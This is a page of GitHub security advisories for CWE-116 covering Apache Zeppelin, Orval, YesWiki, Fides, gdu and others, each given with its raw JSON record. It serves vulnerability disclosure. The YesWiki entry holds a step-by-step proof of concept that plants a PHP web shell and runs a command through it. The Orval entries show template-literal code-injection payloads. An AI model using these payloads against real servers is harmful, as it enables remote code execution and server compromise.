Common Weakness Enumeration

CWE-116

Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

705 vulnerabilities reference this CWE, most recent first.

GHSA-86JX-WR74-XR74

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-08-21 18:50

Summary

Improper escaping in Apache Zeppelin

Details

Improper Encoding or Escaping of Output vulnerability in Apache Zeppelin.

The attackers can execute shell scripts or malicious code by overriding configuration like ZEPPELIN_INTP_CLASSPATH_OVERRIDES. This issue affects Apache Zeppelin: from 0.8.2 before 0.11.1.

Users are recommended to upgrade to version 0.11.1, which fixes the issue.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.zeppelin:zeppelin-interpreter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.2"
            },
            {
              "fixed": "0.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-24T20:11:32Z",
    "nvd_published_at": "2024-04-09T16:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Encoding or Escaping of Output vulnerability in Apache Zeppelin.\n\nThe attackers can execute shell scripts or malicious code by overriding configuration like\u00a0ZEPPELIN_INTP_CLASSPATH_OVERRIDES.\nThis issue affects Apache Zeppelin: from 0.8.2 before 0.11.1.\n\nUsers are recommended to upgrade to version 0.11.1, which fixes the issue.",
  "id": "GHSA-86jx-wr74-xr74",
  "modified": "2024-08-21T18:50:22Z",
  "published": "2024-04-09T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/4715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/commit/dd08a3966ef3b0b40f13d0291d7cac5ec3dd9f9c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/zeppelin"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/jpkbq3oktopt34x2n5wnhzc2r1410ddd"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/09/10"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper escaping in Apache Zeppelin"
}

GHSA-877H-PHH3-7F4R

Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31

Details

Windows App Installer Spoofing Vulnerability

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-38177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-13T18:15:25Z",
    "severity": "HIGH"
  },
  "details": "Windows App Installer Spoofing Vulnerability",
  "id": "GHSA-877h-phh3-7f4r",
  "modified": "2024-08-13T18:31:17Z",
  "published": "2024-08-13T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38177"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38177"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-88F2-FPV8-89Q2

Vulnerability from github – Published: 2026-09-03 19:06 – Updated: 2026-09-03 19:06

Summary

Orval: RCE via servers[].url -> unescaped request-URL template literal (with getBaseUrlFromSpecification)

Details

Summary

When Orval is configured with output.baseUrl.getBaseUrlFromSpecification: true, it bakes the spec's servers[0].url into the generated request URL as a template literal without escaping the backtick. A server URL containing a backtick closes the template literal and injects a concatenation expression evaluated when the generated URL/request function is called, executing attacker-controlled code. Verified on Orval 8.19.0 (fetch client); survives default OpenAPI validation.

Details

return `http://api.x/` + (globalThis.X = require("fs").writeFileSync("/marker","pwned")) + `/v1/u`;

Prerequisite: the documented getBaseUrlFromSpecification: true option (takes the base URL from the OpenAPI servers block). This is the same output sink as the route-path case (request-URL template literal) reached via the server url field. Distinct from Orval's published CVEs (CVE-2026-22785 summary/MCP, CVE-2026-23947 / CVE-2026-25141 x-enumDescriptions, CVE-2026-24132 const/mock).

PoC

reproduce.sh (+ make_spec.py) attached: generates a fetch client with getBaseUrlFromSpecification: true, bundles it, calls the functions, and shows a marker written. Verified on 8.19.0.

Impact

With that option enabled, code execution in any environment that calls a client generated from an attacker-controlled or attacker-influenced OpenAPI description.

Suggested fix

Escape the server URL before emitting it into the URL template literal (escape backtick and ${), or build the base URL with an encoder that treats it as data; validate the URL. maintainer-report.txt make_spec.py reproduce.sh

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "orval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-116",
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:06:52Z",
    "nvd_published_at": "2026-08-19T18:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhen Orval is configured with `output.baseUrl.getBaseUrlFromSpecification: true`, it bakes the spec\u0027s `servers[0].url` into the generated request URL as a template literal without escaping the backtick. A server URL containing a backtick closes the template literal and injects a concatenation expression evaluated when the generated URL/request function is called, executing attacker-controlled code. Verified on Orval 8.19.0 (fetch client); survives default OpenAPI validation.\n\n### Details\n\n```ts\nreturn `http://api.x/` + (globalThis.X = require(\"fs\").writeFileSync(\"/marker\",\"pwned\")) + `/v1/u`;\n```\n\nPrerequisite: the documented `getBaseUrlFromSpecification: true` option (takes the base URL from the OpenAPI servers block). This is the same output sink as the route-path case (request-URL template literal) reached via the server `url` field. Distinct from Orval\u0027s published CVEs (CVE-2026-22785 summary/MCP, CVE-2026-23947 / CVE-2026-25141 x-enumDescriptions, CVE-2026-24132 const/mock).\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates a fetch client with `getBaseUrlFromSpecification: true`, bundles it, calls the functions, and shows a marker written. Verified on 8.19.0.\n\n### Impact\n\nWith that option enabled, code execution in any environment that calls a client generated from an attacker-controlled or attacker-influenced OpenAPI description.\n\n### Suggested fix\n\nEscape the server URL before emitting it into the URL template literal (escape backtick and `${`), or build the base URL with an encoder that treats it as data; validate the URL.\n[maintainer-report.txt](https://github.com/user-attachments/files/29396562/maintainer-report.txt)\n[make_spec.py](https://github.com/user-attachments/files/29396563/make_spec.py)\n[reproduce.sh](https://github.com/user-attachments/files/29396564/reproduce.sh)",
  "id": "GHSA-88f2-fpv8-89q2",
  "modified": "2026-09-03T19:06:52Z",
  "published": "2026-09-03T19:06:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-88f2-fpv8-89q2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/pull/3692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.21.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval: RCE via servers[].url -\u003e unescaped request-URL template literal (with getBaseUrlFromSpecification)"
}

GHSA-88XG-V53P-FPVF

Vulnerability from github – Published: 2025-04-29 14:45 – Updated: 2025-04-29 20:27

Summary

YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

Details

Summary

An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

PoC

Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.

LookWiki

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated)

:root {
  --primary-color: #0c5d6a;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.

:root {
  --primary-color: <?php system($_GET['cmd']); ?>;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Then, simply visit the file with a cmd parameter included.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root {
  --primary-color: uid=501(yeswiki) gid=501 groups=501
;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

injection

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories

Severity

7.4 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-29T14:45:42Z",
    "nvd_published_at": "2025-04-29T18:15:44Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a\u0026secondary-color-1=%23d8604c\u0026secondary-color-2=%23d78958\u0026neutral-color=%234e5056\u0026neutral-soft-color=%2357575c\u0026neutral-light-color=%23f2f2f2\u0026main-text-fontsize=17px\u0026main-text-fontfamily=%22Nunito%22%2C+sans-serif\u0026main-title-fontfamily=\u0027Nunito\u0027%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: \u003c?php system($_GET[\u0027cmd\u0027]); ?\u003e;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: \u0027Nunito\u0027, sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories",
  "id": "GHSA-88xg-v53p-fpvf",
  "modified": "2025-04-29T20:27:14Z",
  "published": "2025-04-29T14:45:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46347"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution"
}

GHSA-8CM5-JFJ2-26Q7

Vulnerability from github – Published: 2024-05-29 15:25 – Updated: 2024-05-31 20:44

Summary

Fides Webserver Logs Hosted Database Password Partial Exposure Vulnerability

Details

The Fides webserver requires a connection to a hosted PostgreSQL database for persistent storage of application data. If the password used by the webserver for this database connection includes special characters such as @ and $, webserver startup fails and the part of the password following the special character is exposed in webserver error logs.

This is caused by improper escaping of the SQLAlchemy password string, see here and here for more info.

Impact

Partial exposure of hosted database password in webserver logs

Patches

The vulnerability has been patched in Fides version 2.37.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Proof of Concept

Create a hosted PostgreSQL database for Fides with a password including @ or $ e.g. p@ssword
Run Fides and observe failure, sample log attached

fides  | 2024-02-28 14:27:52.609 | ERROR    | fides.api.db.database:configure_db:117 - Unable to configure database: sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) could not translate host name "ssword@fides-db" to address: Name or service not known

Severity

2.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ethyca-fides"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-532"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-29T15:25:51Z",
    "nvd_published_at": "2024-05-29T17:16:20Z",
    "severity": "LOW"
  },
  "details": "The Fides webserver requires a connection to a hosted PostgreSQL database for persistent storage of application data. If the password used by the webserver for this database connection includes special characters such as `@` and `$`, webserver startup fails and the part of the password following the special character is exposed in webserver error logs.\n\nThis is caused by improper escaping of the SQLAlchemy password string, see [here](https://docs.sqlalchemy.org/en/14/core/engines.html#escaping-special-characters-such-as-signs-in-passwords) and [here](https://github.com/sqlalchemy/sqlalchemy/discussions/6615) for more info.\n\n### Impact\nPartial exposure of hosted database password in webserver logs\n\n### Patches\nThe vulnerability has been patched in Fides version `2.37.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.\n\n### Workarounds\nThere are no workarounds.\n\n### Proof of Concept\n1. Create a hosted PostgreSQL database for Fides with a password including `@` or `$` e.g. `p@ssword`\n2. Run Fides and observe failure, sample log attached\n\n```\nfides  | 2024-02-28 14:27:52.609 | ERROR    | fides.api.db.database:configure_db:117 - Unable to configure database: sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) could not translate host name \"ssword@fides-db\" to address: Name or service not known\n```",
  "id": "GHSA-8cm5-jfj2-26q7",
  "modified": "2024-05-31T20:44:41Z",
  "published": "2024-05-29T15:25:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/security/advisories/GHSA-8cm5-jfj2-26q7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ethyca/fides/commit/6ab37b1ffe2b1a3bd35b706a82f78e061086141c"
    },
    {
      "type": "WEB",
      "url": "https://docs.sqlalchemy.org/en/14/core/engines.html#escaping-special-characters-such-as-signs-in-passwords"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ethyca/fides"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/sqlalchemy/discussions/6615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fides Webserver Logs Hosted Database Password Partial Exposure Vulnerability"
}

GHSA-8F75-MV2X-XFW9

Vulnerability from github – Published: 2024-01-19 21:30 – Updated: 2024-01-19 21:30

Details

Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-28738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-19T20:15:09Z",
    "severity": "HIGH"
  },
  "details": "Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-8f75-mv2x-xfw9",
  "modified": "2024-01-19T21:30:35Z",
  "published": "2024-01-19T21:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28738"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8FJQ-3X3V-5FGG

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36

Details

gdu fails to strip terminal escape sequences from directory and file names when printing paths after TUI exit. Attackers can craft malicious directory or file names containing escape sequences that are interpreted by the terminal, enabling title spoofing, clipboard manipulation, or other terminal-dependent effects.

Severity

5.0 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.8 (Medium)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-73480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T21:18:32Z",
    "severity": "MODERATE"
  },
  "details": "gdu fails to strip terminal escape sequences from directory and file names when printing paths after TUI exit. Attackers can craft malicious directory or file names containing escape sequences that are interpreted by the terminal, enabling title spoofing, clipboard manipulation, or other terminal-dependent effects.",
  "id": "GHSA-8fjq-3x3v-5fgg",
  "modified": "2026-08-13T21:36:14Z",
  "published": "2026-08-13T21:36:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dundee/gdu/issues/615"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dundee/gdu/commit/fe605ecd9ad0e0f1c7ba84131ddfa1c83c52406f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dundee/gdu"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gdu-terminal-injection-via-unstripped-escape-sequences"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8H38-QX4M-2F5R

Vulnerability from github – Published: 2025-01-07 12:31 – Updated: 2025-01-07 12:31

Details

IBM Concert Software 1.0.0, 1.0.1, 1.0.2, 1.0.2.1, and 1.0.3

could allow an authenticated user to inject malicious information or obtain information from log files due to improper log neutralization.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-52891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-117"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-07T12:15:25Z",
    "severity": "MODERATE"
  },
  "details": "IBM Concert Software 1.0.0, 1.0.1, 1.0.2, 1.0.2.1, and 1.0.3 \n\ncould allow an authenticated user to inject malicious information or obtain information from log files due to improper log neutralization.",
  "id": "GHSA-8h38-qx4m-2f5r",
  "modified": "2025-01-07T12:31:02Z",
  "published": "2025-01-07T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52891"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7180303"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8J6P-R8JG-MXQH

Vulnerability from github – Published: 2026-09-03 18:32 – Updated: 2026-09-03 18:32

Summary

Orval: Import-time RCE via header-parameter default -> zod module-level template literal

Details

Summary

Orval's zod schema generation emits the header-parameter default value as a module-level template literal (export const Default =;) without escaping ${ or the backtick. A default of the form v${<code>}w injects a live JavaScript expression evaluated when the generated zod schema module is imported, executing attacker-controlled code at import — no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.

Details

export const …Default = `v${globalThis.ORVPWN()}w`;   // ${...} = arbitrary JS expression, runs at import

Malicious input: a header parameter with a default of v${<attacker JS>}w. ${...} permits any JS expression.

Note: this is one of several default-bearing positions that reach the same unescaped zod template-literal sink; a single fix (escape default values) closes all of them, and a CNA may choose to consolidate the related reports.

PoC

reproduce.sh (+ make_spec.py) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.

Impact

Code execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.

Suggested fix

Emit default values via a proper string-literal encoder (JSON.stringify, or escape backtick and ${ if a template literal must be used); never interpolate a spec value into a template literal. Apply to every default position. make_spec.py reproduce.sh

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "orval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T18:32:03Z",
    "nvd_published_at": "2026-08-19T18:17:24Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nOrval\u0027s zod schema generation emits the **header-parameter** `default` value as a module-level template literal (`export const Default = `\u003cdefault\u003e`;`) without escaping `${` or the backtick. A default of the form `v${\u003ccode\u003e}w` injects a live JavaScript expression evaluated when the generated zod schema module is imported, executing attacker-controlled code at import \u2014 no request or function call needed. Verified on Orval 8.19.0; survives default OpenAPI validation.\n\n### Details\n\n```ts\nexport const \u2026Default = `v${globalThis.ORVPWN()}w`;   // ${...} = arbitrary JS expression, runs at import\n```\n\nMalicious input: a header parameter with a `default` of `v${\u003cattacker JS\u003e}w`. `${...}` permits any JS expression.\n\nNote: this is one of several `default`-bearing positions that reach the same unescaped zod template-literal sink; a single fix (escape `default` values) closes all of them, and a CNA may choose to consolidate the related reports.\n\n### PoC\n\n`reproduce.sh` (+ `make_spec.py`) attached: generates the zod schema with default validation, bundles it, imports it, and shows a marker written at import. Verified on 8.19.0.\n\n### Impact\n\nCode execution at import in any application that imports a zod schema module generated from an attacker-controlled or attacker-influenced OpenAPI description.\n\n### Suggested fix\n\nEmit `default` values via a proper string-literal encoder (JSON.stringify, or escape backtick and `${` if a template literal must be used); never interpolate a spec value into a template literal. Apply to every `default` position. [make_spec.py](https://github.com/user-attachments/files/29399137/make_spec.py) [reproduce.sh](https://github.com/user-attachments/files/29399138/reproduce.sh)",
  "id": "GHSA-8j6p-r8jg-mxqh",
  "modified": "2026-09-03T18:32:03Z",
  "published": "2026-09-03T18:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-8j6p-r8jg-mxqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/pull/3692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
